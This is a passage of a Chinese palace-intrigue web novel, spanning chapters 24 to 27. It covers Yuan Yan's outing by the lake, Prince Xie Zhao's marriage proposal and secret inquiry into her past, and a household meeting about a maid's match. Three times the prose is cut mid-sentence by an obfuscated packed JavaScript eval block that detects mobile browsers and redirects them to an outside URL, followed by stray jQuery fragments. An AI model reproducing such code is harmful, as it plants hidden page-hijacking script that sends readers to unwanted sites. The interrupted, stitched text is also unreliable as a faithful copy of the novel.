文五忙将煮好的茶水舀出，倒进茶盏。 韵采忙中偷闲，告诉袁彦，“姑娘，这个茶饼是茶园新送来的，再过一旬，南边的货就该都铺开了。” 袁彦尝了一口，中规中矩，“还可以。” 文五瞥了前方一眼，比划：姑娘，有个人一直看着我们这里。 袁彦随手捏起一张团扇，搭在额前遮阳，想了想，还是回头，望过去一眼。 身后不远的坡上亭中，那人见状弯唇一笑，流露出自认极其风流的模样，同她摇摇举杯，浅浅呷了口茶水。 袁彦微微一愣，因为并不认识，直到另外一个人缓缓走入亭中，袁彦方才恍然，原来是和瑞王谢兆一块来的友人。 视线再次交错，谢兆不避不闪，就那么直勾勾地回看过去。 袁彦心中惴惴，只得率先败下阵来，身子坐正，却有些如芒在背。 想起打春宴结束时，他假借太妃之名，将她留在了那处小院。 ——薛姑娘有没有兴趣，来当这个瑞王妃？ ——也许是今日来的人中，只看薛姑娘最合心意？ 她当然不会傻到以为谢兆是真的看上她才会如此说，只不过是两人之间的那些隐而未发，教他这段日子没那么顺遂而已。 只是确实没想到，多年未见，当初那个事事都挡在她身前的“兆儿哥哥”，如今竟也成了个欺人太甚的。 段林木寻了一圈，暂时没发现吴祭酒的嫡孙女，只能搁置了那迫切的心思，心猿意马地望着远处那依山傍水地的主仆三人。 是那路上骑马掠过的青衣女子。 养眼，真是养眼，一个赛一个漂亮，见那淡绿装束的女子一口吞下一块糕，免不得又加了句，还一个赛一个的不拘小节。 没有世家大族闺秀的矜持，着实让人耳目一新。 只是没想到对方会发现他这道隐秘视线而回看过来，单纯的欣赏而已，如此他哪里肯示弱，美人娇若花，就是要精心呵护的。 “知微知微，可知那是谁家的小娘子？”段林木扒着好友的衣袖，眼神示意，小声急道，“快快说与我听！” 谢兆没好气地盯他一眼，“当心吴大人取了鞭子上门抽你！” “哪里哪里，我又没有做那出格之事，不过是爱美之心，赏心悦目罢了，”段林木笑嘻嘻地递过去一盏茶，“你一定知道，莫要藏掖，速速道来！” 谢兆仍然不开口，他甚至连视线都不再往那处瞧。 段林木不敢做得太过火，心中却如白爪抓挠，悄声抱怨道：“知微你不懂的，我就要成亲，那婚后定要克己复礼，恪守本分，是万万不可如先前那般美人在怀左拥右抱了。眼下这时机再好不过，既能满足我这点小心思，又不会惹来丈人家的白眼。你说对否？” 谢兆道：“那是户部尚书薛尚书家的嫡长女，掌上明珠，薛尚书你是了解的，你若还敢不知死活去肖想，到时候尚书大人可就不是取鞭子抽你那么简单了，当心连你岳丈家都要跟着一起鸡飞狗跳！” 段林木悻悻然收起自己的跃跃欲试，哀叹一声，“天公不美，也太不美了啊！” 谢兆牵了牵唇角，又立刻遮掩住那一丝不易察觉的笑。 “来了！”段林木眼睛望向一处，再次精神昂扬起来。 是今日的正事了，吴祭酒家的嫡孙女，去年及笄，叫作吴央，熟悉的人都会亲切唤她一声“央央”。 吴央随了母亲，身段和模样都完美继承，温柔美丽，小家碧玉，打眼一瞧就是个能相夫教子的。家世良好，书香门第，待人接物都是大大方方，见人未语先笑，就算是陌生人，也会凭白多出三分好感来。 平京城想要与吴家说亲的人家不少，媒婆都打发走了十数个，却不知为何，待那段家媒婆上门，吴央偏偏就跑到了祖父吴祭酒的书房，轻言细语地说，孙女想去见见。 吴祭酒千般万般的不愿，却抵不住孙女的眉头轻皱，虽对那段林木的生平早有耳闻，却还是捏着鼻子点头答应了。 就算这事成了，若将来央央给人欺负，他们吴家也不是吃素的！ 于是便有了这一场远远相看。 两方的亭子比邻，这亭子都是事先定好的地方，由专人负责看守打扫，租金不便宜，但仍然供不应求，要么提前十天半月去排，要么各方求援，只为了那一席之地。 幕后东家据说是一位外来商贾，本是进京做生意，却意外相中了这处地界，走了诸多手续，外加上下打点，总算是盘了下来，而后斥资打造，逐渐形成现在这山美水美人面相映的好景色。 袁彦是临时决定过来，那些坡上亭自然是没了机会，不过她向来不讲究这些，只要吃好喝好玩好，外相从来不入她的眼。 文五自打来了平京城，没事的时候都是整日在城中晃荡，东南西北不说走遍，至少每个地方那些特别之处与特别之人，皆可信手拈来。 她所坐的地方正好可以将所有人收在眼底，吴央被人簇拥着走下马车时，她和袁彦比划：姑娘，那位是吴祭酒家的嫡孙女。 袁彦顺着她的目光回头看了眼，低声说道：“当时薛礼进国子监，便是那位吴祭酒亲自出的题目。” 文五问：是故意刁难吗？ 袁彦摇头，又点头，“当时薛大人同吴祭酒在一张席面上，不知是否吴祭酒喝酒之后口无遮拦，与旁人言语了句薛大人的从龙之功，实为小人得志，席面上不乏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443180|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户部官员，薛大人当时没多说什么，只是之后国子监的钱款申领，不再那么顺心遂意。” 韵采笑道：“咱们那位薛大人，明面上跟谁都是一团和气，实际心中早有一本账册，密密麻麻记着所有人的账。” 文五又问：那薛礼在国子监这么久，有没有被人故意欺负了？ 妫氏为人虽不如何，却十分会生孩子，两个嫡出，一儿一女，都是性格温和不跋扈的，和母亲简直不像是一家人，袁彦对两个小孩十分宽容喜爱，连带着韵采她们也对这两个孩子青睐有加。 “那倒不至于，上一辈的恩怨不对付，拿一个孩子撒气，总归不是读书人常讲的君子所为，吴祭酒这点上还是非常拎得清的。” 文五放下心来：那就好。 袁彦见她的模样，忍不住笑起来，“放心吧，就算是挨了欺负，薛大人难道就是吃素的了？尚且轮不到我们这群外人去操心！” 韵采点点头，“没错没错，都在薛大人的能力范围内，实在不行了才会来找咱们姑娘。” 那位吴央姑娘周围汇聚了不少人，都是候着侍奉的家仆奴婢，训练有素，安安静静地在旁边陪着，姑娘要看画舫，他们就在前头开路，姑娘要给赏钱，就有人直接拿了钱袋子，朝船舫摇摇扔过去。 为美人一掷千金，男子做得，女子同样，便是北梁的风气了。 段林木眼底满是欣赏，对谢兆说：“瞧见没？她竟与我喜好相同！” “若今日画舫中是那竹叶轩的男妓？” 段林木“嗨”声道：“未曾发生之事，切莫做这般假设，凭白添烦恼。” 谢兆一笑置之，视线不由自主，又瞥向那依山傍水处，却意外地没瞧见那道身影，再一逡巡，目光就聚在了另一处，他心中微动，站起身。 段林木眼睛盯着吴央那处，注意力却被谢兆带走，连忙问：“你做什么去？” 谢兆想了想说：“相看是你们二人的事，我毕竟是个外人，到时候万一人家姑娘不好意思，反倒要差点意思了，若婚事吹了可如何是好？吴家是巴不得的，你却要伤心了。放心，我不走远，就在别处瞧着你。” 段林木嘀咕了句“什么跟什么”，却没拦他，挥挥手，“走吧走吧，去瞧瞧那些草长莺飞，省得日日暮气沉沉。” 谢兆慢悠悠晃出坡上亭，却没急着往袁彦那处去，而是在一处岸边驻足，欣赏起画舫上的女子来。 碧春居的花魁，就站在靠近他这个方向的画舫上，画舫三层，她就站在第三层的开阔处，小松山周围一览无余。她身后排排站着五个婢女，一边还有管弦丝竹，正在吹拉弹唱坊间最新流行的曲子。 另外一旁有歌女应声附和，花魁在这清歌漫语乐声阵阵中，翩翩起舞。 谢兆盯着花魁看，视线却又有些没着落，看了又如没看，想来是在心中放空。 花魁何等聪慧，画舫越近，她越能瞧得清，何况是那特意想要多瞧几眼的人，她不由得来了几分斗志，于是舞姿更加曼妙，腰身更是软到极致。 谢兆却在想，那日上元夜，水玉楼似乎就是请的碧春居这位花魁前去献舞。 他低头转身离去。 花魁纤细的手指将勾未勾，眉宇间簇起一抹愠色。 怎的这般凑巧，她才想要去勾魂，他便就未卜先知，先行躲开？ 谢兆几步绕到小松山后，远离人群，望向一处，没来由地会心一笑。 真是巧。 25. 第 25 章 袁彦倏然转身，无波无澜望过去，而后盈盈一笑，微微躬身与他揖礼，道了句：“侍郎大人雅兴。” 谢兆唇角微弯，得以继续往她那头慢悠悠地走。 袁彦站在原地，身后是山，实在退无可退。 隔着差不多三步的距离，谢兆停下来，两人离得如此近，双方眼底眉间的神情都能一览无余，以至于谢兆瞬间便看懂了那双秋水眸中，暗藏着的敬而远之。 “薛姑娘似乎对我有些误会。” 袁彦展颜而笑，声音温温柔柔，“怎么会？侍郎大人光风霁月，横看竖看都是个光明正大的，阿灵对大人怎会平白有那‘误会’一说？莫不是侍郎大人私底下做了什么对不住谁的勾当，后怕不已？” 反正此刻天高地阔，不远处熙熙攘攘，再不是瑞王府后院那间方寸小院，她还有什么可放不开的？ 骂就是了。 谢兆不错眼珠地瞧着她，心下不由一叹。 “那日对薛姑娘多有冒犯，还希望姑娘大人大量，能给个找补的机会。” 袁彦忙笑着摆手，连说“不敢不敢”，“瑞王殿下贵为万金之躯，又官至刑部侍郎，只要不去随手磋磨别个，那人就该烧高香了，小女子何德何能，竟有那本事教殿下找补一二？” 谢兆倍感无奈。 想了想，他上前一步，对她说：“其实那个提议并非心血来潮，薛姑娘大可以认真考虑。” 不同于谢兆的斟酌再三，袁彦的回应显得十分干脆，摇头说：“没兴趣。” 谢兆倒也不觉得自己被驳了面子，只是笑了笑，轻声道：“不必心急，我等着薛姑娘认真考虑之后，再来听答复。” 一番沉默，袁彦认为是自己没把话讲明白，迟疑道：“阿灵暂时没有嫁人的打算。” 谢兆点点头，“巧了，我也确实是在认真求娶。” 袁彦被气笑，巧什么巧，简直是对牛弹琴，鸡同鸭讲，忽然又想到一事，疑惑道：“侍郎大人如此作为，是打消对我的怀疑了？” 谢兆瞬间懂了她的意思，是说的水玉楼对她的那番盘问，笑道：“例行问话，在场之人都会被问到——照姑娘的意思，所有被我问话之人，就都可以是有罪之人了？” 袁彦微微一笑，不说话。 谢兆也不去追问，只是双手拢袖，与她一样将视线落在远处山间，默然半晌，没来由提了句：“亭中风大，还是这里暖和些。” 袁彦假装听不懂他的弦外音，只是收回目光，打算走了。 谢兆却在她转身时出声将她叫住，“薛姑娘。” 背对时的眉心微微拧起，袁彦耐心所剩不多，却还是在瞬息之间抚平心境，侧身回头笑问：“侍郎大人还有什么指示？” “谈不上指示，”谢兆眸光含笑，目光不避不闪，直视着她，“就是想再提醒姑娘，好好考虑几日，我等着。” 袁彦抬步就走，脚步飞快，似有瞧不见的事物在后头追赶。 谢兆目送她离开，直到她转过山脚再望不见，这才垂下眼，鞋子闲来无事般的拂过地上的枯黄杂草。 有些已经悄悄抽了新芽。 踱步回到岸边，此时画舫上已没了花魁跳舞，但仍然热闹，姑娘们借着乐声舞姿曼妙，岸边此起彼伏的行酒令，更有那富家公子小姐，比着赛般向画舫投掷钱袋子。 有那闹得最大声的，已说不上投掷，而是往画舫中砸钱了。 嘻嘻哈哈，污言秽语，堪比发泄。 谢兆顺着动静看过去，认出被簇拥在最中间的，是吏部那位王泽忠主事。 王泽忠此人，虽只是个小小主事，朝堂上却是个能教人捏着鼻子与之把臂言欢之辈，当然不仅仅是因为他有个好妹夫，本身油滑老道的为人处世也是极其重要的原因。 其实细究起来，也算不得什么妹夫，外人有心去传，他自己却没那个胆子到处宣扬，只是实打实的好处却早已捏在手中，除了名不正言不顺，其他都没的说。 早在十几年前，王泽忠还只是个整天在市井中游手好闲的小无赖，家中长辈斥责其败坏门风，有辱家门，全被他当成耳旁风，好似一块滚刀肉，依旧我行我素。 还曾在酒席中笑言：王家门风，狗屁不是。 父亲气到卧病在床，饱受公婆苛待的母亲却始终望着自己儿子，心中无限感慨：我儿泽中，敢怒敢言，出人头地指日可待！ 当时小小年纪的王泽忠是混不吝，却并非是个无脑的混不吝，行事乖张，却从未吃过什么硬亏，反倒和衙门官吏你来我往，即便不小心犯个错，也都无伤大雅，甚至连钱都不用掏，便能大小事都化无。 然后某一天，家中来了个据说是远房亲戚的表妹，有个怪好听的姓氏，姓穆，名字也好听，叫作婉佩，当然，长得更好看，王泽忠看见这个表妹的第一眼，就在心中暗暗庆幸：幸亏是远房亲戚，不然随了他们王家这一脉，指不定是怎样的歪瓜裂枣。 表妹是来投奔的。据说她家中长辈均已病逝，母亲临终前告诉她，自己当年有个非常照顾她的表哥，如今就在平京城当官，信已经去过，眼下这身子骨怕是等不到回信了，便让她收拾一番，拿上地址，自行北上。 那一路颠沛流离不提也罢，也曾是个千娇万宠的闺阁姑娘，却要一路蓬头垢面扮成乞儿，讨饭讨到了王家。 却根本不受那位表舅母的喜欢，然而表舅卧病在床，眼瞅着是活不到年底，穆婉佩心中凄然，躲在小厢房中整夜整夜以泪洗面。 王泽忠日日偷溜到小厢房的窗下，听着里头婉转压抑的哭声，简直是□□焚身，终于忍不住翻窗而入欲与之好好温存，却反被早有准备的表妹以剪刀威胁，遂作罢。 之后的某一天，王泽忠换了身行头，喜气洋洋回到家，告诉长辈们与母亲，他已在衙门当差了。 母亲自是欣喜不已，也更加感慨，可未及高兴完，就又听到一句—— “我想娶穆表妹。” 母亲于是强颜欢笑，表面应承，却一拖再拖，终于给她寻到机会，趁着儿子不在，毫不犹豫将那小狐媚子发卖。 上梁不正下梁歪，她那个短命鬼的娘亲便是个勾搭人的狐媚子，生的女儿也是一副贱蹄子样！ 呸！真是晦气！ 之后几经辗转，牙行最终将她卖进了逸云坊的康平王府。 至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443181|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于后来她究竟如何一步步让司空朔青眼有加，谢兆便不得而知。不过总之，王泽忠被爱屋及乌的，从衙门小吏，混到了现在的主事。即使那穆姓女子已然故去多年，王泽忠却始终被有意无意照拂。 便是有了官身，依旧改不掉那些下三滥的毛病，小人得志不过如此。 谢兆收回目光，站在岸边，心中慢条斯理地想事情。 他这处距离画舫远，没人过来，但依旧有不少目光若有如无往他身上落，谢兆不作理会。有那胆子大的珊珊而来，在他身前揖了个仪态万分的礼，娇唤一声“瑞王殿下”，却只得了个淡漠眼神，悻悻而去。 那姑娘回去之后，却只剩下懊恼，相互说笑几句，就继续与同伴嬉笑打闹。 北梁的姑娘，大方的，扭捏的，矜持的，不拘小节的，有各种性子各有家教，却风气使然，大都是些拿得起放得下的，偶有乐意纠缠的，也无伤大雅。 王泽忠被人围在中间，手中的钱袋子仍然剩余不少，画舫上的姑娘们个个眼神熠熠望着这边，身边那些纨绔子弟跟着与有荣焉，他环顾四周，不由得飘飘然，便是小小主事又如何？你们这些人，还不是有求于我，要对我点头哈腰？ 而他这一环顾，就在人群缝隙中，教他鸡贼地望见了那处依山傍水地的主仆三人。 王泽忠眯起眼，以便瞧得更清楚些，如何不认得，那可是户部尚书敲锣打鼓迎回来的嫡长女。去年薛家那场罕见席面他也在受邀之列，得以远远看见过一次，彼时虽然头戴幂篱，可凭那身段，那高挑的个子，怎么看都不像是个脸不行的。席间他前去放水，七拐八拐的，就给他拐到了后院去。 怪他读书不多，当是时，只能想到那么一个俗套的形容：漂亮，真是漂亮到顶了！ 穆表妹就已是天人之姿，那嫡长女比之穆表妹，竟不知胜过多少筹！ 此刻他偷偷往那边看，尚书嫡女斜倚在桌旁，姿态闲适，一边喝茶一边听那俩婢女说话，跟幅画似的。眼前人影攒动，视线所及若隐若现，他不由怒从心头起，抄起地上拳头大的石头重重扔了过去。 “滚一边儿去，挡老子视线！” 被砸之人呜嗷一声，回头见到说话之人，立刻歇了讨伐心思，头破血流地离开这处。 动静不小，四周纷纷有视线投来，王泽忠敏锐地捕捉到了尚书嫡女的目光。 他随即咧嘴一笑。 又没跟她说什么风流不下流的话，笑一笑，你薛大人总还是管不着的吧！ 谢兆慢吞吞地走回坡上停，段林木却已不在这里坐着，不知与佳人去了哪里一叙。目光逡巡，找到那道背影，顿了顿，平移出去，落在了岸边嘈杂处，眼神漠然。 茶凉了，亭子旁候在此处的仆人殷勤添了炭，“殿下稍候，马上就能喝了。” 谢兆微微点头，挥手让他离去。 袁彦收回目光，不再理会那道肆意狂热的视线，倒没有任何被冒犯的不适，她只是转了转手中茶杯，像是闲聊似的，和韵采说：“可以安排绯绯进京了。” 韵采余光瞥了瞥岸边，像是想到了什么，嘿嘿一笑，听见袁彦的吩咐，她笑着点头，“得令！” 26. 第 26 章 等了半晌，仍不见段林木踪影，隔壁亭中也没有吴祭酒那位掌上明珠的嫡孙女，倒是此地管事亲自现身，来到谢兆面前告知道：“殿下，段公子教小的来告诉您，说您不用等他，待明日他自会去往瑞王府。” 谢兆搁下茶杯，随口问道：“他去哪了？” 管事答：“段公子正在湖上泛舟，此刻——”他抬头望了望，摇头说，“此刻已走远，这里是瞧不见了，不过殿下放心，舟上护卫齐全，另外周围也有我们的人暗中轮流巡护，不会出现任何纰漏。” 谢兆点了点头，挥手让人离去。 天色尚早，天气不冷不热，谢兆难得闲适，身子也没什么不爽利，坐姿便不那么端正起来，神情里也平添了几分慵懒，视线轻轻落在不远处那道身影上，心中的念头却早就神游不知几万里。 袁彦浑然不觉，或是察觉到了也就随他去，反正只要她不回头，他们之间仍然是井水犯不了河水。 直到天将暗，那主仆三人已经收拾东西准备打道回府，谢兆方才收回目光。稍微活动几处关节，才发现身体各处竟然又僵又麻，不自觉便笑了起来，偷得浮生一日闲。 袁彦有些乏，回程便没有骑马，老老实实坐进了马车，一路慢腾腾。 回府正赶上府上用晚饭，袁彦只在薛崇贵在的时候才会去和薛家人一块吃，大部分时候都是让自己院子的小厨房做来吃。厨房虽占了“小”字，地方却一点不比妫氏那边的大厨房小多少，什么都有，人员都是她从南疆带过来的，有薛崇贵帮忙转换身份，妫氏暗中查过他们，发现几人背景有理有据干干净净，无奈歇了所有心思。 薛崇贵还在衙署未归，袁彦进了府门便径自往水天居方向去，没有绕路去跟妫氏打招呼。 正用饭的妫氏听闻来报，想了想，放下饭碗，叮嘱两个孩子好好吃饭，自己则带着翠语也往水天居去。 这座院子本是妫氏早早相中，准备将来划给薛礼，他现在住的院子是东苑附带的，小小一个，连个厢房都没有，读书睡觉甚至偶尔吃饭都只能在那一间小屋中完成，实在没有家中嫡长子的任何待遇可言。妫氏心中老大不乐意，虽说管着家中中馈，却在这种事上没有任何话语权，她曾试着争取，而薛崇贵给的答复是：天行健，君子以自强不息。 她听后半晌都没回过味来。 妫氏对读书一事向来能省则省，去找薛崇贵闹要的不过就是一句准话，得到的却是这么一句。 都什么跟什么？ 一个当人家爹的，对亲生子如此苛刻，教外人听去还不笑掉大牙？爹都当不好，还谈什么君子不君子的！ 她这般想，也这般闹，薛崇贵听了她那些言之凿凿的抱怨，心中只余叹息，不欲再开口，躲进茶室偷清闲。 结果去年那嫡长女一回来，薛崇贵竟然迫不及待做主将这座院子划给了她！ 妫氏心中恼恨不已，奈何什么都不敢做，只好打落牙齿和血吞，关上房门将翠语抽了个半死，这事连离得最近的薛礼都不知道，薛渠住的稍远些，就更不知情。 妫氏这两年来很少走到这，实在怕一见到，心中那份压下去的不甘愿就又涌上来。 此刻水天居近在眼前，妫氏修心不到家，还没跨过大门，就紧急深吸口气。旁边的翠语低眉敛目，眼观鼻鼻观心，早早做好了回去再被抽一顿的准备，如今再不像先开始那般日日战战兢兢，左右也打不死人，挨过去就好了。 韵采得了袁彦的令，出来将妫氏迎到了偏厅。 “夫人稍候，小姐正在沐浴更衣。”韵采说完，就有奉茶丫头端来茶水点心，轻轻放到妫氏面前。 妫氏拗着性子，压下那些翻涌而来的不满，端起杯子喝茶。 轻轻啜了一口，就有人珊珊而来，在偏厅外施施然揖了一礼，声音甜软，“见过夫人。” 妫氏别开目光，想要眼不见心不烦。 明秋不以为意，自顾走进来，先是抬头看了眼翠语，后者目不斜视，假做没瞅见她，明秋微微笑了笑，与韵采以眼神询问，韵采便笑着说：“秋姑娘也坐吧，小姐说了，今日所要说的事情，本就与秋姑娘有关。” 明秋视线再次笑瞥了妫氏一眼，这才坐在了下首处。 立刻有奉茶丫鬟上茶点，样式差不多与妫氏桌上的相同。 妫氏看了一眼，冷哼一声，重重搁下茶杯，刚要发作，就又有人自厅外跨进，端端正正站在那，神色淡淡，“母亲。” 妫氏到了舌尖的火气瞬间四散开来，一瞬间头晕目眩。 今日为何而来，当了母亲的，还不得好好给子女做一番谋划，要不是那做爹的不作为，她堂堂一位尚书夫人，何至于在这非亲非故的嫡长女处捏着鼻子受这等窝囊气！ “来了，”妫氏尽量和气，挤出一个笑脸道，“那就开始说正事吧。” 袁彦坐在了妫氏与明秋之间的位置，奉茶丫鬟提早得令，只端了碗羹汤来，柔声道：“小姐请用。” 袁彦笑说：“母亲见谅，阿灵刚刚归家，尚未用饭，实在是饥肠辘辘，刻不容缓。” 明秋将话接过来，“姐姐尽管吃，这一时半刻，明秋还是等得起的。” 妫氏望了眼明秋，面上不显，心中冷笑。 明秋视若无睹，一如方才妫氏对她那般。 屋中一时安静异常，只有瓷质汤匙轻轻磕碰碗壁的“叮咚”声响。 袁彦吃得慢条斯理，明秋喝茶吃光了桌上的点心。妫氏只顾喝茶，其余一点没动，不知是这院子与她犯冲还是什么，闻着鼻端似有若无的熏香，越发心浮气躁。 终于见她搁下碗，妫氏不满道：“阿灵，不是我说你，一日时间有限，什么时候该做什么事都要早早有个章程，不然一拖再拖，乱了别人的习惯计划，终究是做事不够妥帖。” 袁彦歉意一笑，“母亲见谅，阿灵记下了——说正事吧。” 妫氏咬住舌头，咽下接下来那些唠叨。 “明秋的终身大事，原本阿灵不愿意掺和，毕竟母亲乃当家主母，我一个做女儿的张罗这些实为不妥，不过既然母亲乐意将此事交给阿灵，那阿灵自然不会推脱，母亲放心，此事阿灵一定尽心尽力，教明秋嫁得如意郎君。” 明秋率先站起来，难掩心中欣喜，盈盈一拜，“明秋谢过小姐。” 袁彦手臂虚抬，示意她不必如此。 妫氏冷眼旁观，什么话都教你说了去，姑娘家家，未婚亦未曾议过亲事，竟还有脸干起媒婆的勾当，传出去怕是满平京城都要笑话尚书府了！偏偏家里老爷默认此事，当真是疼到了眼珠子上，照这样下去，哪天她欲上天将那圆月当后院，尚书大人怕也只会说一句“容我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443182|169396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想想办法”了！ 袁彦看了妫氏一眼，继续说：“明秋现在已经记在了母亲名下，身份尊贵，当然自身本也是非常拿得出手，这些便不细说，只说如何与郭大人家的那位二公子搭上话。” 明秋眼神熠熠，她老早就知道那位郭司业，在他尚未考取功名时便远远见过，读书人特有的书卷气在他身上发挥的淋漓尽致，她不敢靠近，又忍不住一看再看，因为别的闺阁小姐也在看，她总怕看得没有比别人多一眼。 有时候白天看过，夜里睡梦中，还会得偿所愿地教人偷偷入梦来。 她当然不会奢望将之据为己有，却怎么也想不到有一天，这等天大好事会直接盖到她的头上，还是这位嫡长女主动送上门的——多少闺阁小姐争相之人，她竟主动让与她，也难怪，在外糟了那么多年罪，即使现在刻意打扮得端庄大方又如何？还不是个眼窝子浅的傻子！ 妫氏担忧道：“话虽如此，可你如何保证那郭司业就能心甘情愿娶了明秋进门？”说着她笑了笑，看着袁彦，又瞥向明秋，“毕竟人家从始至终要求娶的，唯独是阿灵你呢。” 明秋垂着眼偷偷咬住唇内软肉，睫毛微微一颤，说一千道一万，心中再如何诋毁，只要有个苗头，也仍然没底。 袁彦不计较妫氏那点小心思，只是回道：“这点无需母亲担心，阿灵自会处理妥当——秋姑娘也不用多想，过段时间出嫁，自然是那郭司业真心求娶的。” 明秋轻轻点头，想了想，再次起身揖礼，“谢谢小姐。” 袁彦坦然受了，而后说：“不必多礼，”转过头向妫氏，“稍后阿灵会给母亲罗列好接下来要做之事，母亲看过之后觉得可行，只管照做，若觉不妥，阿灵便再与母亲商议。” 妫氏扯了扯嘴角，她敢说什么不妥？多说一个字，怕是一家之主的尚书大人要头一个给她脸色看！ 又陆续说了些别的，袁彦就主动起身送客。 妫氏带着翠语出了水天居的大门，浑身莫名其妙打了个激灵，忍不住回头望了眼门里，心中没来由感到怪异：她一个当家主母，为何一进到这座院子，就凭白觉得矮人一头？ 越想心中越是惴惴，不对劲，太不对劲了，妫氏脚步加快，一路头都不敢回，像被什么紧紧追赶一般！ 翠语也跟着埋头快走，原本已经做好准备挨顿毒打，不想回到东苑之后，妫氏却反常地让她独自下去休息，自己则关了屋门，吩咐一声“无事别来打扰”后，就再没出来过，直到亥时初，屋里的灯方才熄灭。 薛崇贵子时方归，见后院没留灯，便独自歇在了书房。 临风阁书房内，谢兆手握一本几日前在书肆寻来的孤本，看得不甚专心，直到窗口处传来一阵响动，抬眸望去，一颗心便不受控地提起来。 少年暗卫荷风风尘仆仆，一路快马加鞭，换过五匹马，终于将一份记录详实的册子呈到了谢兆的桌案前。 “殿下，幸不辱命。” 谢兆搁下孤本在一边，一手紧紧扣住那本册子，没有立刻翻开，只对那暗卫荷风笑道：“藏锋那备了丰厚奖赏，自去领来。” 少年累极，闻言却仍难掩惊喜。 “谢过殿下！” 谢兆挥挥手，荷风来去如风，悄然而去。 垂眼盯住桌上册子，谢兆静了静，捻开一页。 27. 第 27 章 人影幢幢，视线从模糊渐渐清晰。 谢兆发现自己站在一座大宅子前，视线倏而仰视，倏而又几近平视，抬步往里面走，却发现脚步似有千斤重，如何都迈不开。 宅子大门里跑出来一个穿着藕色棉裙的小小姑娘，手里提着个样式小巧却精致繁复的鱼灯，跑跳的时候，鱼灯在空中摇头摆尾，仿佛悠然游曳湖水中。 寒冬腊月的，他双手拢袖，看着她那边。 小小姑娘忽然望向他这处，蓦地眉眼弯弯笑起来，大声喊着：“兆儿哥哥！” 谢兆蓦地恍惚，竟在那一瞬立刻意识到自己是在梦中，却始终不愿醒来。 小小姑娘已经跑向他，却又像原地踱步，如何也到不了近前。 他焦急万分，双脚却始终挪不动分毫。 突然场景变换，谢兆视野变窄，与那小小姑娘坐在池塘边，姑娘晃荡着一双短腿，和他轻声说着悄悄话。 “兆儿哥哥，母亲偷偷告诉我，她的家乡在很远很远的地方哩！” “母亲应该非常想念家乡。” “她有时会坐在后院看那些奇花异草，一看就是一日，父亲唉声叹气，偷偷和我说，那是母亲在想家呢。” “兆儿哥哥，很远很远，有多远呢？” “母亲的家乡，到底在什么地方啊？” 谢兆张开嘴想说话，却发不清楚声音，像是整个人深陷湖中，五官都被湖水充满。 下一瞬，他突然被谁从后面推了一把，随即身不由己坠入冰冷湖底—— 在窒息之前，他骤然睁开眼。 大口大口呼吸。 － 一大早，韵采脚步匆匆，险些与正好出来的小丫鬟撞在一处，丫鬟刚刚侍奉完大小姐洗漱穿衣，手里端着半满的铜盆，只差那么一寸，就要泼她个满怀。 “小心！”不见韵采有什么大动作，像是只虚抬了下手，便将摇摇欲坠的丫鬟稳稳扶住，再朝那张惊慌失措的脸微微一笑，“无事无事，快些去收拾。” 丫鬟整个人晕晕乎乎，根本顾不上细想。 袁彦正准备用早饭，见韵采进来，招手道：“怎么这么早？坐下一块吃！”说罢推了一碟子素包过去，“早知你来，就让厨房蒸些荤的了。” 韵采依言坐在了对面，没立刻伸手去拿，轻声说道：“姑娘，一早南边传消息来，那位殿下，”她指了指上面，“早前派人走了一趟南疆各处，搜集了许多关于薛尚书在任时候之事，以及永州嬴氏当年是否有人幸存——那些消息这会应该已经在那位的桌案上了。” 袁彦并不如何惊讶，闲适吃着碗里的咸粥，笑说：“不错不错，比我的预期要早上许多。” 韵采一口咬掉大半个菜包，三两下咽进去，问道：“会不会出意外？” 袁彦神色淡淡，“我们从南疆走到平京城，一路铺垫，说不上艰难，却也不那么顺利。这座都城南北相距那么远，差不多是整个南疆各州加在一起了，人员复杂，人心也是，就算顶着户部尚书嫡长女的身份，做起事来亦有诸多不便。虽然出生在这里，但故乡却终究成了他乡，毕竟离开得太早也太久，根基尽毁。其实意外于我来讲并不可怕，怕的是心愿难以达成，这些年的筹谋全部付诸东流。” 韵采几口解决了自己的早饭，就着一口羊奶将梗在胸口的包子顺下去，噎得直抻脖子，说道：“可是姑娘确信他知道后真的会帮忙而并非阻挠？” 虽然瑞王殿下姓“谢”，可身体里也流淌了一半司空家的血。 袁彦吃掉最后一口粥，并未多说，只点点头，“会的。” 韵采眼神微亮，小声问：“姑娘做了推衍？” 袁彦摇头，“不曾。” 韵采大为不解。 袁彦起身去到梳妆台前，从收放整齐的其中一个稍小些的妆奁内，打开其中一层抽屉，从中拈出一枚寸余长的秀珍竹筒。 “这是……祝氏身上搜出来的那个？” 